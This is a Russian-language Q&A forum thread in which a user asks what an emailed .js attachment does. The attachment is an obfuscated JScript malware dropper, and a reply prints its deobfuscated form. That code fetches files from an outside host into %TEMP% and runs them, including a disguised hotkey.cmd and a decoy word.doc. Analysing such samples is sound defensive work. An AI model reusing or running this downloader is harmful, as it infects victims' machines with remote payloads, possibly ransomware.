JS Что делает скрипт, и скрипт ли?

Question

[Владимир]

Пришел на почту файл от компании с которой сотрудничаем. Формат .js Что он делает?

//////////////// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJ
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJSDHKA86aydihSDHKA86aydih
///////////////////////////// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJ
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJSDHKA86aydihSDHKA86aydih/// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJ
/////F
eval(function(d,e,a,c,b,f)
/////// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA// JJJH///////// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA//////// JJJHAUSDHAGUYG// jhkjhAIUSDhkja
{if(b=function(a){return(e>a?"":b(parseInt(a/e)))+(35<(a%=e)?String.fromCharCode(a+29):a.toString(36))},!"".replace(/^/,String))
////// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA//////// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJSDHKA86aydih
{for(;a--;)f[b(a)]=c[a]||b(a);c=[function(a){
////// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA// JJJH///////// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA// jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA//////// JJJHAUSDHAGUYG/ jhkjhAIUSDhkjahdiuaHJdkhIYSAHDg8qw7eyydgwUYHJDA// JJJH
return f[a]}];b=function(){return"\\w+"};a=1}
///////jkkhUGIUASIUDBka////////// ASHdgjhasBDAGDiyahbdyasjhbda
//////////OFFETURNOFFXIT
for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATAKJSDHKJAHDKJA PATH JHASDHKAJSDHKA86aydih
/////AOAO// HhuyJ
("3 5=\"%e%\\\\\";3 l=\"%e%\\\\m.n\";3 8=\"z.A.B\";3 9=\"C\";3 a=f.g(\"f.o\");3 p=\"%e%\\\\q.h\";i b(r,s){3 7=j k(\"D.E\");7.F=i(){G(7.H===4){3 6=j k(\"I.J\");6.t();6.K=1;6.L(7.M);6.N=0;6.O(s,2);6.P()}};7.t(\"Q\",r,R);7.S()}i g(u){T j k(u)}3 a=g(\"f.o\");5=a.U(5);b('c://'+8+'/'+9+'/h.v',''+5+'q.h');V{a.w(''+p+'',1,0)}W(X){};b('c://'+8+'/'+9+'/x.d',''+5+'x.d');b('c://'+8+'/'+9+'/y.d',''+5+'y.d');b('c://'+8+'/'+9+'/Y.v',''+5+'m.n');a.w(''+l+'',0,0);",
61,61,"   var  niagara objADOStream objXMLHTTP merce sunbath WshShell ipdegov http kbtc TEMP WScript CreateObject doc function new ActiveXObject wallstreet hotkey cmd Shell russi word warning sunshi open ProgId keybtc Run query trsh www andyblog net photo MSXML2 XMLHTTP onreadystatechange if readyState ADODB Stream type write ResponseBody position saveToFile close GET false send return ExpandEnvironmentStrings try catch dcc blck".split(" "),0,
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJSDHKA86aydih
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PAT
{}
//jkkhUGIUASIUDBka////////// ASHdgjhasBDAGDiyahbdyasjhbda
//////////OFFETURNOFFXIT
///////jkkhUGIUASIUDBka////////// ASHdgjhasBDAGDiyahbdyasjhbda
//////////OFFE
));
///////jkkhUG
///////jkkhUGIUASIUDBka////////// ASHdgjhasBDAGDiyahbdyasjhbda
//////////OFFETURNOFFXIT
//////

Answer 1

[Александр Таратин]

//////////////// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJ
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJSDHKA86aydihSDHKA86aydih
///////////////////////////// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJ
//// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJSDHKA86aydihSDHKA86aydih/// HhuyJLkkjUqnnHy6y82hB7hB1y29J PATH JHASDHKAJ
/////F
var niagara = "%TEMP%\\";
var wallstreet = "%TEMP%\\hotkey.cmd";
var merce = "www.andyblog.net";
var sunbath = "photo";
var WshShell = WScript.CreateObject("WScript.Shell");
var russi = "%TEMP%\\word.doc";

function ipdegov(warning, sunshi) {
    var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
    objXMLHTTP.onreadystatechange = function () {
        if (objXMLHTTP.readyState === 4) {
            var objADOStream = new ActiveXObject("ADODB.Stream");
            objADOStream.open();
            objADOStream.type = 1;
            objADOStream.write(objXMLHTTP.ResponseBody);
            objADOStream.position = 0;
            objADOStream.saveToFile(sunshi, 2);
            objADOStream.close()
        }
    };
    objXMLHTTP.open("GET", warning, false);
    objXMLHTTP.send()
}
function CreateObject(ProgId) {
    return new ActiveXObject(ProgId)
}
var WshShell = CreateObject("WScript.Shell");
niagara = WshShell.ExpandEnvironmentStrings(niagara);
ipdegov('http://' + merce + '/' + sunbath + '/doc.keybtc', '' + niagara + 'word.doc');
try {
    WshShell.Run('' + russi + '', 1, 0)
} catch (dcc) {};
ipdegov('http://' + merce + '/' + sunbath + '/query.kbtc', '' + niagara + 'query.kbtc');
ipdegov('http://' + merce + '/' + sunbath + '/trsh.kbtc', '' + niagara + 'trsh.kbtc');
ipdegov('http://' + merce + '/' + sunbath + '/blck.keybtc', '' + niagara + 'hotkey.cmd');
WshShell.Run('' + wallstreet + '', 0, 0);

Comments

[Владимир]

Это что такое страшное? Я в JS меньше нуля

[Александр Таратин]

@gravl подкачивает из сети файлы и запускает их, мне лень разбираться что они делают (вирустотал говорит что все ок), но вероятно эти скрипты шифруют файлы на компьютере.

[Владимир]

Александр Таратин: Понял, значит что то плохое... спасибо и на этом

[Anton Filippov]

2 строчка 8,9,10 символы..

[Александр Таратин]

Антон А что в них?